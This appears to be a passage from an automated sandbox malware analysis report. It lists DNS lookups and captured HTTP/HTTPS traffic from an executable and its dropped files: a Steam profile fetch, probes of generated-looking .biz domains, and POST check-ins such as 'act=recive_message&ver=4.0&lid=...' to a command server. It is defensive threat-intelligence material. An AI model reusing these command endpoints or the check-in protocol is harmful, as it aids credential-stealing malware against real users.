Dec 27, 2024 14:43:02.547112942 CET	192.168.2.4	1.1.1.1	0x7760	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 27, 2024 14:43:02.847651005 CET	192.168.2.4	1.1.1.1	0xa132	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:43:02.850097895 CET	192.168.2.4	1.1.1.1	0xef55	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 27, 2024 14:43:23.700361013 CET	192.168.2.4	1.1.1.1	0x9217	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 14:42:09.261184931 CET	1.1.1.1	192.168.2.4	0xd1	Name error (3)	covery-mover.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:09.407752991 CET	1.1.1.1	192.168.2.4	0xd7d0	Name error (3)	se-blurry.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:09.575681925 CET	1.1.1.1	192.168.2.4	0x4965	Name error (3)	zinc-sneark.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:09.718868971 CET	1.1.1.1	192.168.2.4	0xf766	Name error (3)	dwell-exclaim.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:09.872822046 CET	1.1.1.1	192.168.2.4	0x4f65	Name error (3)	formy-spill.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:10.015021086 CET	1.1.1.1	192.168.2.4	0x1e88	Name error (3)	dare-curbys.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:10.158490896 CET	1.1.1.1	192.168.2.4	0x5fcf	Name error (3)	print-vexer.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:10.299870968 CET	1.1.1.1	192.168.2.4	0x719b	Name error (3)	impend-differ.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:10.441526890 CET	1.1.1.1	192.168.2.4	0x1cd6	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:13.100765944 CET	1.1.1.1	192.168.2.4	0x409a	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:13.100765944 CET	1.1.1.1	192.168.2.4	0x409a	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:36.118206024 CET	1.1.1.1	192.168.2.4	0x1063	No error (0)	itsrevolutionmagnus.xyz		172.67.182.218	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:36.118206024 CET	1.1.1.1	192.168.2.4	0x1063	No error (0)	itsrevolutionmagnus.xyz		104.21.91.249	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:44.677547932 CET	1.1.1.1	192.168.2.4	0xafda	No error (0)	gamertool.eu		172.67.161.29	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:44.677547932 CET	1.1.1.1	192.168.2.4	0xafda	No error (0)	gamertool.eu		104.21.9.168	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:43:01.992644072 CET	1.1.1.1	192.168.2.4	0xbfbd	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:43:01.992644072 CET	1.1.1.1	192.168.2.4	0xbfbd	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:43:02.085810900 CET	1.1.1.1	192.168.2.4	0x9e54	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:43:02.679522991 CET	1.1.1.1	192.168.2.4	0xe34f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 27, 2024 14:43:02.679791927 CET	1.1.1.1	192.168.2.4	0xec65	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:43:02.679791927 CET	1.1.1.1	192.168.2.4	0xec65	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:43:02.684068918 CET	1.1.1.1	192.168.2.4	0x7760	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 27, 2024 14:43:02.684283018 CET	1.1.1.1	192.168.2.4	0x8dde	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:43:02.684283018 CET	1.1.1.1	192.168.2.4	0x8dde	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:43:02.986130953 CET	1.1.1.1	192.168.2.4	0xa132	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:43:02.986130953 CET	1.1.1.1	192.168.2.4	0xa132	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:43:02.988940001 CET	1.1.1.1	192.168.2.4	0xef55	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 27, 2024 14:43:23.837656975 CET	1.1.1.1	192.168.2.4	0x9217	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

itsrevolutionmagnus.xyz

gamertool.eu

chrome.cloudflare-dns.com

clients2.googleusercontent.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49747	172.67.161.29	80	5428	C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 14:42:44.826339006 CET	187	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3 Host: gamertool.eu Cache-Control: no-cache
Dec 27, 2024 14:42:45.995945930 CET	1012	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Dec 2024 13:42:45 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 27 Dec 2024 14:42:45 GMT Location: https://gamertool.eu/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5vqiT4bzeeSWQV5PPi%2BBTXsf7lXSVvydZ3%2BJUTqsK7jVPZJBH0uCpAlm4LtGrAxDDuneRA%2BHOSmFqG8ST8O9eBffAZOLyU4d3f2taRVc5rntcebYihuYHYg8DKUoQ2A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89bc585c4743c4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1516&min_rtt=1516&rtt_var=758&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=187&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49751	172.67.161.29	80	3796	C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 14:42:51.193537951 CET	187	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3 Host: gamertool.eu Cache-Control: no-cache
Dec 27, 2024 14:42:52.336080074 CET	1011	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Dec 2024 13:42:52 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 27 Dec 2024 14:42:52 GMT Location: https://gamertool.eu/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H7wHLfOqzUWe0vXfZFiNEkYDy12rY6Ijpq912Nd2eeAntfQ2lg8B8TzkjSAqdGUvewKzdY6hVxBZ4kETmF8k7nU78OJ3jhKdtSlx7oBGm78THcZtmmr%2Buo%2BxkCeS37A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89bc7ffd71c470-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1707&min_rtt=1707&rtt_var=853&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=187&delivery_rate=0&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49839	172.67.161.29	80	6976	C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 14:43:13.025182962 CET	187	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3 Host: gamertool.eu Cache-Control: no-cache
Dec 27, 2024 14:43:14.211298943 CET	1019	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Dec 2024 13:43:14 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 27 Dec 2024 14:43:14 GMT Location: https://gamertool.eu/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XKY2aztKw5wOdEfky5EqUIFkoN0Tle%2BEXI7N%2FBI2%2Fgn3%2BNqfbjCRXRrx3dSspoHuWyqFYd1svU%2BgrzqotFWpd5b8NEMfeH4phKGvZUPc8wg0VoZa2EmYP7NU%2B1HKQE0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89bd08ba5c7d05-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1914&min_rtt=1914&rtt_var=957&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=187&delivery_rate=0&cwnd=193&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	50070	172.67.161.29	80

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 14:43:43.599646091 CET	187	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3 Host: gamertool.eu Cache-Control: no-cache
Dec 27, 2024 14:43:44.727601051 CET	1017	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Dec 2024 13:43:44 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 27 Dec 2024 14:43:44 GMT Location: https://gamertool.eu/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pbeDCWuBJTJ4uI7fYHODx91kksiov1qXnxKniy%2B6S%2BKF2c50hU0aUSeB%2BNurQ5bsNUi%2FYPxizEMD5BPrNKOnEW4GGDvmWZyLXvbTyR7pAz%2F4SCX3ALbhpnezlfuOf40%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89bdc76bcf43d4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1600&min_rtt=1600&rtt_var=800&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=187&delivery_rate=0&cwnd=219&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.4	50201	172.67.161.29	80

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 14:44:17.332580090 CET	187	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3 Host: gamertool.eu Cache-Control: no-cache
Dec 27, 2024 14:44:19.061876059 CET	1021	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Dec 2024 13:44:18 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 27 Dec 2024 14:44:18 GMT Location: https://gamertool.eu/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cJE6JRILOJNL5S0OFz%2BDfXYNFUr8nKprBpWga7JcBycEAmCfNYS%2BkVtMzERS5CLRUHs2i7DR18xSKK%2BFQ75narN89qE3ecElIzRq378e7LIYM%2BD3TrIHwMmZvGfNnZI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89be9d5f9f425c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=127761&min_rtt=127761&rtt_var=63880&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=187&delivery_rate=0&cwnd=224&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	23.55.153.106	443	5260	C:\Users\user\Desktop\T4qO1i2Jav.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:42:11 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-27 13:42:12 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 27 Dec 2024 13:42:12 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=b6e631875b4c3e6a053e51c0; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-27 13:42:12 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-27 13:42:12 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-27 13:42:12 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.157.254	443	5260	C:\Users\user\Desktop\T4qO1i2Jav.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:42:14 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-27 13:42:14 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 13:42:15 UTC	1117	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:42:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=epioc39n862pf76c0p7fl1atbf; expires=Tue, 22 Apr 2025 07:28:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=keyIp8MfAPbGuPTeEsKahaObUCi8wL96EhMNuC86YZOqocmtUiCjXOBVeVX4ioA8CwMj3k94DJieaZYPJOQV5GYB6GHAbGlvvI0jkwi1k2y0Rn4sLQrPZYK25buBAkItK78%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89bb953d23429a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2482&min_rtt=2477&rtt_var=939&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1158730&cwnd=237&unsent_bytes=0&cid=1c820b527be53405&ts=785&x=0"
2024-12-27 13:42:15 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 13:42:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.157.254	443	5260	C:\Users\user\Desktop\T4qO1i2Jav.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:42:16 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: lev-tolstoi.com
2024-12-27 13:42:16 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 76 6f 69 64 65 65 64 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--voideed&j=
2024-12-27 13:42:17 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:42:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=orop84pp4prpjkiklf2o43r18s; expires=Tue, 22 Apr 2025 07:28:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jfp2Q9k6RpLDh5ESGUZScIoGanHPCnMejqvE5LVx95KmRjIFmefHJUn6fp8GSYIZOGcJr9Fm6LVN0DIiTWRzH%2Fa33FJvo7qp08DRCz50jaq8mZO2XltI8euG%2BjnLImrnYHQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89bba22d5ff793-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1490&min_rtt=1479&rtt_var=577&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=948&delivery_rate=1862244&cwnd=152&unsent_bytes=0&cid=4e5b7d977995b49f&ts=780&x=0"
